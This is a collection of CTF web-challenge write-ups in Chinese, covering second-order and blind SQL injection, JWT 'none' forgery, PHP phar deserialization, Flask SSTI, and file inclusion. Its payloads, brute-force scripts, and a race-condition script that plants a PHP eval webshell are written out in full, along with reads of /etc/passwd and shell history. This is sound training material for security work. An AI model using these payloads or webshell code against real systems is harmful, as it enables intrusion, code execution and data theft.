October 2019 Twice SQL Injection

二次注入,登录成功有个Info,猜测后端语句是:

select Info from table_name where username=''
select Info from table_name where username='' and password=''

注册用户时将username设置为联合注入语句:

username=1' union select database() #
ctftraining

username=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() #
flag,news,users

username=1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #
flag

username=1' union select flag from flag #
flag{5bbcd66f-a075-4532-bfce-6aa8642e41f3}

也可以先看看sql用户权限,如果是root直接可以load_file:

username=1' union select user() #
root@localhost

username=1' union select load_file('/var/www/html/index.php') #

index.php:

<?php
error_reporting(0);

session_start();
/**
 * Database mysql
 */
$db_host = "127.0.0.1";
$db_user = $db_pass = "root";
$db_name = "ctftraining";
$conn = mysql_connect($db_host, $db_user, $db_pass) or die('Could not connect: ' . mysql_error());

mysql_select_db($db_name, $conn) or die('Could select database: ' . mysql_error());

register_shutdown_function(function () {
	global $conn;
	mysql_close($conn);
});

function query($sql) {
	$result = mysql_query($sql);
	$rows = mysql_fetch_assoc($result);
	return $rows;
}
/**
 * Main
 */

$action = isset($_GET['action']) ? $_GET['action'] : "index";
if (!in_array($action, ['login', 'reg']) && !isset($_SESSION['username'])) {
	header("Location: /?action=login");
	exit;
}

switch ($action) {
case 'login':
	if (isset($_POST['username'])) {
		$username = addslashes($_POST['username']);
		$password = md5($_POST['password']);
		$res = query("select * from users where username='{$username}' and password='{$password}';");
		if ($res) {
			$_SESSION['username'] = $res['username'];
			header("Location: /?action=index");
			exit;
		}
	}
	?>
		<h1>Login</h1>
		<form action="/?action=login" method="POST">
			Username : <input type="text" name="username">
			<br>
			Password : <input type="password" name="password">
			<br>
			<a href="/?action=reg">Go to Register</a>
			<input type="submit" value="Login">
		</form>
	<?php

	break;
case 'reg':
	if (isset($_POST['username']) && $_POST['username'] != "") {
		$username = addslashes($_POST['username']);
		$password = md5($_POST['password']);
		if (mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")) {
			header("Location: /?action=login");
		} else {
			header("Location: /?action=reg&msg=注册失败");
		}
		exit;
	} else {
		?>
		<h1>Register</h1>
		<div><?=addslashes($_GET['msg']);?></div>
		<br>
		<form action="/?action=reg" method="POST">
			Username : <input type="text" name="username">
			<br>
			Password : <input type="password" name="password">
			<br>
			<a href="/?action=login">Go to Login</a>
			<input type="submit" value="Register">
		</form>
	<?php
}
	break;
case 'change':
	if (isset($_POST['info'])) {
		$info = addslashes($_POST['info']);
		if (mysql_query("update users set info='{$info}' where username='{$_SESSION['username']}';")) {
			header("Location: /?action=index");
		} else {
			header("Location: /?action=change&msg=修改失败");
		}
		exit;
	}
	break;
case 'logout':
	session_destroy();
	header("Location: /?action=login");
	exit;
	break;
case 'index':
default:
	$info = query("select info from users where username='{$_SESSION['username']}';");
	?>
		<h1>Info</h1>
		<div><?=addslashes($info['info']);?></div>
		<hr>
		<div><?=addslashes($_GET['msg']);?></div>
		<br>
		<form action="/?action=change" method="POST">
			Info : <input type="text" name="info">
			<br>
			<input type="submit" value="Change">
		</form>
		<a href="/?action=logout">Logout</a>
	<?php
break;
}
echo "<!-- October nb!!!!! -->";

[HFCTF2020]EasyLogin

查看app.js发现一段注释:

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

koa是基于nodejs的web框架,有固定的目录结构,/controllers/api.js:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

可以将alg置为none,但是有对sid的限制,不能是undefined 或 null且必须满足0 ≤ sid < global.secrets.length,空数组绕过:

username=admin&password=12345&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1IiwiaWF0IjoxNzU0MjAzOTA3fQ.

Set-Cookie: sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTc1NDI5NjI2NDI1NywiX21heEFnZSI6ODY0MDAwMDB9; path=/; expires=Mon, 04 Aug 2025 08:31:04 GMT; httponly
Set-Cookie: sses:aok.sig=w4pfPZYLt2rCMLMnOCIp_BePdnU; path=/; 

带着相应的cookie访问/api/flag,拿到flag:flag{a027f724-d12f-4dd7-b6ba-04132dfc38bb}


[CISCN2019 华北赛区 Day1 Web1]Dropbox

download.php存在任意文件下载,index.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

upload.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

download.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

根据class.php进行phar的构造:

<?php
class User {
    public $db;
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $file = new File();
        array_push($this->files, $file);
        $this->results[$file->name()] = array();
    }
}

class File {
    public $filename = "/flag.txt";

    public function name() {
        return basename($this->filename);
    }
}


$obj = new User();
$obj->db = new FileList();

@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
?>

改后缀为.gif上传,delete.php会调用class.php中delete函数的unlink,download.php会调用class.php中open函数的file_exists,但是download.php中存在open_basedir,限制了获取范围,只有delete才能获取/flag.txt

本地图片


[SWPUCTF 2018]SimplePHP

function.php:

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

upload_file.php:

<?php 
include 'function.php'; 
upload_file(); 
?>  

base.php:

<?php echo $_SERVER['REMOTE_ADDR'];?>

index.php:

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

file.php:

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

class.php:

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

文件上传定死了后缀,没有unserialize入口,存在file_exists,尝试phar反序列化,构造的时候注意get魔术方法的参数$key就是无法访问的变量名,即"source":

<?php 
class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params;
}

class C1e4r
{
    public $test;
    public $str;
}

$o = new Test();
$o->params['source'] = "/var/www/html/f1ag.php";
$ob = new Show();
$ob->str['str'] = $o;
$obj = new C1e4r();
$obj->str = $ob;

@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
?>

改个后缀上传,在file.php实现file_exists触发phar反序列化:

?file=phar:///var/www/html/upload/0208c520bdd56cda1421798ee798e6d6.jpg

GIF89a<?php __HALT_COMPILER(); ?> 
PD9waHAgDQoJLy8kYSA9ICdmbGFnezg0Yjg2NzIwLWNkNDAtNGZmOS1hOTNhLTgzNzgzMjAxNjA2ZX0nOw0KID8+DQoNCg==

base64解码得到f1ag.php:

<?php 
	//$a = 'flag{84b86720-cd40-4ff9-a93a-83783201606e}';
 ?>

参考文章:

https://xz.aliyun.com/news/6303

https://www.php.net/manual/en/language.oop5.overloading.php#object.get


[GYCTF2020]Ezsqli

过滤了 if case in limit for union,导致常规的information_schema无法使用,先测试一下基本的布尔注入格式:

0||(length(database())=22)

用sys.schema_table_statistics_with_buffer来绕过information_schema,但是只能获取表名无法获取列名

import requests
import string

url = "http://8aee5d6a-4903-4e9d-869b-18fe17c5fa0b.node5.buuoj.cn:81/index.php"
chars = ",_-" + string.ascii_lowercase + string.ascii_uppercase + string.digits
tables = ""
for i in range(1,40):   
    for c in chars:   
        # 0||(ascii(substr( (select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database() ),1,1))=117)
        payload = f"0||(ascii(substr( (select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database() ),{i},1))={ord(c)})"
        data = {"id": payload}

        resp = requests.post(url,data)
        if "Nu1L" in resp.text:
            print(c)
            tables += c
            break
print(tables)

# users233333333333333,f1ag_1s_h3r3_hhhhh

由于过滤了union,只能用比较ascii值的无列名注入,需要测试一下列数,还好本题表中只有一行,并且第一列就是1,否则还需要用到limit 0,1并爆出完整的第一列的值:

import requests
import time

url = "http://71275840-d765-4954-aefa-bc558505f6a0.node5.buuoj.cn:81"
chars = r"-0123456789abcdefgl{}"  # 按照ascii值大小排列,用于无列名注入

flag = ""
for i in range(0,42):   
    for c in chars:   
        payload = f"((select 1,'{flag+c}') > (select * from f1ag_1s_h3r3_hhhhh))"
        data = {"id": payload}
        
        resp = requests.post(url,data)
        if "Nu1L" in resp.text:
            cc = chars[chars.index(c)-1]
            print(cc)
            flag += cc
            break
print(flag)

# flag{67082dc1-010b-4e09-8734-cee942fbe7ab}

参考文章:

https://exp10it.io/2022/08/mysql-no-column-name-isql-injection/

https://geekdaxue.co/read/yuandian-efswk@es3ll7/big7qv


[RootersCTF2019]I_<3_Flask

注入点为name,有参数长度限制,没有禁用config:

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

flag{b9856c2c-0829-44e4-925a-78ded6c2c35c}

[NPUCTF2020]ezinclude

Cookie中的哈希就是对应name的pass,传入相应参数再看源码:

?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>

直接跳转会被定向到404页面,查看源码:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

先用php伪协议看看flflflflag.php内容,base64解码:

?file=php://filter/read/convert.base64-encode/resource=flflflflag.php

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

扫一下目录,找到一个dir.php,同样用伪协议获取源码:

<?php
var_dump(scandir('/tmp'));
?>

方法一:利用PHP_SESSION_UPLOAD_PROGRESS+条件竞争写入一句话木马

import threading
import requests
import sys

url = "http://0669c1b7-e523-4106-b94e-af29da2fcbbc.node5.buuoj.cn:81/flflflflag.php"
sessid = "phpinfo"

def upload():
    files = [
        ('file', ('a.txt', 'a'*1024*10)),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php phpinfo();file_put_contents('shell.php', '<?php eval($_REQUEST[1]);?>');?>"}

    while True:
        res = requests.post(
            url,
            data = data,
            files = files,
            cookies = {'PHPSESSID': sessid},
        )

def read():
    while True:
        response = requests.get(
            f'{url}?file=/tmp/sess_{sessid}',
        )

        if 'flag{' in response.text:
            print(response.text)
            sys.exit(0)

for i in range(2):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=read)
    t1.start()
    t2.start()  

方法二:利用strip_tags过滤器

import requests
from io import BytesIO

payload = "<?php eval($_REQUEST[1]);?>"
data = {'file': BytesIO(payload.encode())}
url = "http://0669c1b7-e523-4106-b94e-af29da2fcbbc.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url,files=data,allow_redirects=False)

访问dir.php获取tmp下临时文件:

string(9) "phpdazEZv"

包含该文件即可rce flag{71136865-f2df-413e-98aa-2f66f26c324c}

参考文章:

https://exp10it.io/2022/11/buuctf-web-writeup-6/#npuctf2020ezinclude

https://www.freebuf.com/vuls/202819.html

https://www.cnblogs.com/EddieMurphy-blogs/p/17992004


[NCTF2019]SQLi

robots.txt中禁止访问hint.txt,hint.txt:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

利用反斜杠转义引号+%00截断尾部引号实现可控passwd

抓包发现如果从网页中传入%00其实是POST%2500,猜测后端是对参数进行了urldecode,直接POST传%00即可

username=1\&passwd=||passwd/**/regexp/**/"^y";%00

如果成功匹配到passwd会在相应包header中返回location: welcome.php,爆破出passwd:

import requests
import string
from urllib import parse

url = "http://d5f06424-bdcf-4fd0-95b8-8cf3ec61d0ef.node5.buuoj.cn:81"
chars = "_" + string.ascii_lowercase + string.digits
n = parse.unquote("%00")
passwd = ""
for i in range(80):
    for c in chars:
        payload = f'||passwd/**/regexp/**/"^{passwd+c}";{n}'
        data = {"username": "1\\", "passwd": payload}
        resp = requests.post(url,data)

        if "welcome" in resp.text:
            print(c)
            passwd += c
            break 

print(passwd)
# you_will_never_know7788990

flag{8cad5c15-4ca5-4405-9735-ca1089060f97}


[网鼎杯 2020 半决赛]AliceWebsite

index.php:

<?php
        $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
        if (file_exists($action)) {
            include $action;
        } else {
            echo "File not found!";
        }
        ?>

文件包含,尝试获取/flag:flag{36b34fb4-3c20-418e-b83c-a7cd5459efcb}


[网鼎杯 2018]Comment

弱密码,账号zhangwei,密码zhangwei666

存在.git源码泄露,直接用githacker获取到的write_do.php不完整,回滚一下记录:

git log --reflog

commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master, origin/master, origin/HEAD)
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:47:29 2018 +0800

    add write_do.php

有stash记录,查看并恢复stash:

git stash list
stash@{0}: WIP on master: bfbdf21 add write_do.php

git stash apply stash@{0}
On branch master
Your branch is up to date with 'origin/master'.

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   write_do.php

no changes added to commit (use "git add" and/or "git commit -a")

完整的write_do.php:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

没有index.php和comment.php的代码,只知道INSERT语句的具体内容,无法得知相应页面获取数据的具体语句,可以先尝试构造注入语句。由于是多行的SQL语句,#注释符只对单行生效,因此需要用到/**/,注入category=1',content=(select user()),/*,content=*/#

insert into comment
            set category = '1',content=(select user()),/*',
                content = '*/#',
                bo_id = '$bo_id'"

comment.php中存在二次注入,获取用户权限为:root@localhost

尝试利用load_file读取/etc/passwd:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash 

尝试读取 /home/www/.bash_history:

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start 

删除了/var/www/html目录下的.DS_Store文件,但是之前在/tmp目录中解压得到的该文件仍存在,用hex读取二进制文件/tmp/html/.DS_Store,本地转换为原文件后用工具解析:

python main.py .DS_Store
Count:  11
bootstrap
comment.php
css
flag_8946e1ff1ee3e40f.php
fonts
index.php
js
login.php
mysql.php
vendor
write_do.php

读取flag文件:

<?php
	$flag="flag{da6b6412-ea59-4408-a49e-34af567e11aa}";
?>

参考文章:

https://www.freebuf.com/articles/web/410701.html

https://cn-sec.com/archives/2696887.html

https://exp10it.io/2022/11/buuctf-web-writeup-6/#%E7%BD%91%E9%BC%8E%E6%9D%AF-2018comment

https://zhuanlan.zhihu.com/p/603142951

https://github.com/gehaxelt/Python-dsstore


[HarekazeCTF2019]encode_and_encode

query.php:

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

json解析有对\uxxxx解码的特性,可以利用json_decode绕过关键字过滤,实现php伪协议读取flag:

{"page":"\u0070hp://filter/convert.base64-encode/resource=/fla\u0067"}

flag{6f77661e-36e2-4a89-bc91-1de70d9d651a}


[CISCN2019 华东南赛区]Double Secret

访问/secret,要传入参数secret,多试几次就有报错信息,查看app.py:

if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))

    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

SSTI+RC4+URLencode:

.%14%1E%12ä84mg%C2%9CË%00%C2%81%C2%8D¸%C2%97%0B%C2%9EF%3B%C2%88m®M5%C2%96%3D%C2%9D[Ø7ê%12´%05%C2%84A¿%17ÛhÏ%C2%8Fáa%0F®%09%C2%A0®yS*¢d|%C2%98/%00%C2%90é%03Y²Û%1F¶H%3D%0A%23ñ[%C2%9Cp®n%C2%96i]v%7FX%C2%92

‘class’ is not allowed. Secret is flag{4bc7eb1c-3a08-469d-a3f9-312f26ad4c31}